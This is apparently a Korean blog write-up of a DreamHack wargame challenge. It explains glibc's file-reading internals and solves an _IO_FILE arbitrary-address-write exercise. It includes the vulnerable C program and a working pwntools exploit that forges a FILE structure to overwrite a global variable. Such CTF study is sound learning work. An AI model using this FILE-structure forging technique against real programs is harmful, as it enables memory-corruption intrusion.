CIDY
[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Write) 본문
[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Write)
CIDY 2022. 7. 15. 01:34파일 읽기 함수에는 fread, fgets같은 친구들이 있다. -> 라이브러리 내부에서 _IO_file_xsgetn함수를 호출함
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
_char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
이게 그 함수인데, (_IO_file_xsgetn함수..) 인자로 전달된 n이 _IO_buf_end - _IO_buf_base값보다 작은지 검사하고, __underflow == _IO_new_file_underflow함수를 호출한다.
int _IO_new_file_underflow (FILE *fp)
{
ssize_t count;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
}
이게 _IO_new_file_underflow인데, _flags변수에 읽기 권한이 부여됐는지 확인하고 -> _IO_SYSREAD함수 인자로 파일 포인터와 파일 구조체 멤버 변수를 연산한 값이 전달된다.
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
이게 그 매크로(_IO_SYSREAD)인데, _IO_file_read함수이다.
_IO_file_read함수 내부에서는 read시스템 콜을 이용해 파일 데이터를 읽는데, 그 시스템 콜 인자로 뭐가 전달되냐면 -> _fileno(파일 디스크립터), _IO_buf_base == buf, _IO_buf_end - _IO_buf_base 의 결과인 size변수가 전달된다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
전달 인자를 파일 구조체로 표현하면 이러하다.
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
_IO_file_read함수이다.
아무튼 이번에 공격할 코드는
// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
데드비프만 오버라이트 해 주면 되는 코드이다. 파일 구조체를 잘 조작해보자.
_IO_buf_end 랑 _IO_buf_base를 조작해야 한다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
파일 내용을 읽어올 때 위와 같은 코드가 실행된다. _IO_buf_base에 overwrite_me주소를 주고, _IO_buf_end를 베이스보다 읽어올 값 이상으로 차이가 나도록 해줘야 한다. _IO_new_file_underflow코드 내에서 _IO_buf_end - _IO_buf_base 값이 fread함수의 인자로 전달된 읽을 크기보다 커야하기 때문이다.
그리고 파일 디스크립터(== fileno)를 0으로 맞춰주면 된다.
from pwn import *
p = remote("host3.dreamhack.games", 17234)
#p = process("./iofile_aaw")
e = ELF("./iofile_aaw")
overwrite_me = e.sym['overwrite_me']
pay = p64(0xfbad2488)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(overwrite_me) #_IO_buf_base
pay += p64(overwrite_me + 1024) #_IO_buf_end
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
p.send(pay)
p.send(p64(0xDEADBEEF) + b"\x00" * 1024)
p.interactive()
참고로 1024거나 그보다 큰 값이어야 하는 이유는 _IO_new_file_underflow코드 안에서 end와 base의 차가 fread함수 인자로 전달될 읽을 크기 (== flag_buf크기) 보다 같거나 커야하기 때문이다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Reverse_Engineering] stage2_Binary&Analysis (0) | 2022.07.16 |
---|---|
[System_Hacking] AD: stage6_문제풀이(Bypass IO_validate_vtable) (0) | 2022.07.15 |
[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Read) (0) | 2022.07.14 |
[System_Hacking] AD: stage6__IO_FILE (0) | 2022.07.14 |
[System_Hacking] AD: stage5_문제풀이(send_sig) (0) | 2022.07.14 |